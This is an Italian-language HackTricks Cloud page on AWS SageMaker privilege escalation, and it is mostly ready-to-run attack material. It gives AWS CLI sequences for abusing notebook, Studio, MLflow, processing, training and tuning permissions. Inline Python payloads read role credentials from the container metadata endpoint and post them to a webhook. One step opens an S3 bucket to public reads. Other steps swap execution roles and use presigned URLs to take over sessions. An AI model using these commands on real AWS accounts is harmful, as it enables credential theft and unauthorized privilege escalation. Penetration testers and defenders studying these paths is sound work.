AWS - Sagemaker Privesc
Reading time: 15 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Inizia a creare un notebook con l'IAM Role assegnato per l'accesso:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
La risposta dovrebbe contenere un campo NotebookInstanceArn, che conterrà l'ARN della nuova istanza notebook creata. Possiamo quindi usare l'API create-presigned-notebook-instance-url per generare un URL che potremo usare per accedere all'istanza notebook una volta che sarà pronta:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigare all'URL con il browser e cliccare su Open JupyterLab in alto a destra, poi scorrere verso il basso alla scheda “Launcher” e, nella sezione “Other”, cliccare sul pulsante “Terminal”.
Ora è possibile accedere alle credenziali metadata del ruolo IAM.
Impatto potenziale: Privesc al ruolo di servizio sagemaker specificato.
sagemaker:CreatePresignedNotebookInstanceUrl
Se ci sono Jupyter notebooks già in esecuzione su di esso e puoi elencarli con sagemaker:ListNotebookInstances (o scoprirli in qualsiasi altro modo). Puoi generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potential Impact: Privesc al ruolo di servizio sagemaker associato.
sagemaker:CreatePresignedDomainUrl
warning
Questo attacco funziona solo sui domini tradizionali più vecchi di SageMaker Studio, non su quelli creati da SageMaker Unified Studio. I domini provenienti da Unified Studio restituiranno l'errore: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
Un'entità con il permesso di chiamare sagemaker:CreatePresignedDomainUrl su un UserProfile target dello Studio può generare un URL di accesso che autentica direttamente in SageMaker Studio come quel profilo. Questo concede al browser dell'attaccante una sessione Studio che eredita i permessi del ExecutionRole del profilo e l'accesso completo alla home e alle app del profilo su EFS. Non è richiesto iam:PassRole né l'accesso alla console.
Requisiti:
- Un SageMaker Studio Domaine unUserProfiledi destinazione al suo interno.
- Il principal dell'attaccante necessita di sagemaker:CreatePresignedDomainUrlsulUserProfiledi destinazione (a livello di risorsa) o su*.
Esempio di policy minimale (limitata a un singolo UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Passaggi di abuso:
- Enumerare un Studio Domain e gli UserProfiles che puoi prendere di mira
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Verificare se unified studio non viene utilizzato (attack funziona solo sui domini tradizionali di SageMaker Studio)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Genera una presigned URL (valida ~5 minuti per impostazione predefinita)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Apri l'URL restituito in un browser per accedere a Studio come utente target. In un terminale Jupyter all'interno di Studio verifica l'identità effettiva o esfiltra il token:
aws sts get-caller-identity
Note:
- --landing-uripuò essere omesso. Alcuni valori (es.,- app:JupyterLab:/lab) possono essere rifiutati a seconda della variante/versione di Studio; i valori predefiniti di solito reindirizzano alla home di Studio e poi a Jupyter.
- Le policy dell'organizzazione/ le restrizioni sugli endpoint VPC possono comunque bloccare l'accesso di rete; la creazione del token non richiede l'accesso alla console né iam:PassRole.
Impatto potenziale: Lateral movement and privilege escalation assumendo qualsiasi Studio UserProfile il cui ARN sia consentito, ereditandone l'ExecutionRole e il filesystem/le app.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Un'identità con il permesso di chiamare sagemaker:CreatePresignedMlflowTrackingServerUrl (e sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments per l'accesso successivo) per un target SageMaker MLflow Tracking Server può generare un URL presigned monouso che autentica direttamente all'interfaccia MLflow gestita per quel server. Questo concede lo stesso accesso che un utente legittimo avrebbe al server (visualizzare/creare experiments e run, e scaricare/caricare artifact nello S3 artifact store del server).
Requisiti:
- Un SageMaker MLflow Tracking Server nell'account/regione e il suo nome.
- Il principal attaccante necessita di sagemaker:CreatePresignedMlflowTrackingServerUrlsulla risorsa target MLflow Tracking Server (o*).
Passaggi di abuso:
- Enumerare i MLflow Tracking Server a cui puoi mirare e scegliere un nome
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Generare un presigned MLflow UI URL (valido per un breve periodo)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Apri l'URL restituito in un browser per accedere alla MLflow UI come utente autenticato per quel Tracking Server.
Potential Impact: Accesso diretto alla MLflow UI gestita per il Tracking Server target, permettendo la visualizzazione e la modifica di experiments/runs e il recupero o il caricamento di artifact memorizzati nello S3 artifact store configurato dal server, nei limiti dei permessi imposti dalla configurazione del server.
sagemaker:CreateProcessingJob, iam:PassRole
Un attacker con tali permessi può far sì che SageMaker esegua un processing job con un ruolo SageMaker associato. Riutilizzando uno degli AWS Deep Learning Containers che già include Python (e eseguendo il job nella stessa regione dell'URI), puoi eseguire codice inline senza costruire immagini proprie:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Impatto potenziale: Privesc al ruolo di servizio sagemaker specificato.
sagemaker:CreateTrainingJob, iam:PassRole
Un attacker con quei permessi può avviare un training job che esegue codice arbitrario con il ruolo indicato. Usando un container ufficiale di SageMaker e sovrascrivendo l'entrypoint con un payload inline, non è necessario costruire immagini proprie:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Impatto potenziale: Privesc al ruolo di servizio SageMaker specificato.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Un attaccante con queste autorizzazioni può avviare un HyperParameter Tuning Job che esegue codice controllato dall'attaccante con il ruolo fornito. Script mode richiede che il payload sia ospitato in S3, ma tutti i passaggi possono essere automatizzati dalla CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Ogni addestramento avviato dal processo stampa la metrica ed esfiltra le credenziali del ruolo indicato.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Con il permesso di aggiornare un SageMaker Studio User Profile, creare un'app, una presigned URL per l'app e iam:PassRole, un attacker può impostare l'ExecutionRole su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app di Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, fornendo permessi elevati e interattivi tramite terminali Jupyter o job avviati da Studio.
warning
Questo attacco richiede che non ci siano applicazioni nel profilo oppure la creazione dell'app fallirà con un errore simile a: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.
Se è presente qualsiasi app, avrai bisogno del permesso sagemaker:DeleteApp per eliminarle prima.
Passaggi:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
Impatto potenziale: Privilege escalation ai permessi del ruolo di esecuzione SageMaker specificato per sessioni interattive di Studio.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Con i permessi per aggiornare un SageMaker Studio Domain, creare un'app, un presigned URL per l'app e iam:PassRole, un attacker può impostare l'ExecutionRole predefinito del domain su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, concedendo permessi elevati interattivi tramite terminali Jupyter o job avviati da Studio.
warning
Questo attack richiede che non ci siano applicazioni nel domain o la creazione dell'app fallirà con l'errore: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Passaggi:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
Potential Impact: Privilege escalation ai permessi del ExecutionRole specificato per le sessioni interattive di Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Un attacker con il permesso di creare un'app SageMaker Studio per un target UserProfile può lanciare un'app JupyterServer che viene eseguita con il ExecutionRole del profilo. Questo fornisce accesso interattivo ai permessi del ruolo tramite Jupyter terminals o job avviati da Studio.
Passaggi:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
Potential Impact: Accesso interattivo al ruolo di esecuzione SageMaker associato al UserProfile di destinazione.
iam:GetUser, datazone:CreateUserProfile
Un attacker con tali permessi può concedere a un IAM user l'accesso a un Sagemaker Unified Studio Domain creando un DataZone User Profile per quell'utente.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
L'URL del Unified Domain ha il seguente formato: https://<domain-id>.sagemaker.<region>.on.aws/ (es. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Impatto potenziale: Accesso al Sagemaker Unified Studio Domain come utente, con possibilità di accedere a tutte le risorse all'interno del dominio Sagemaker e persino di scalare i privilegi al ruolo utilizzato dai notebook presenti nel Sagemaker Unified Studio Domain.
Riferimenti
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud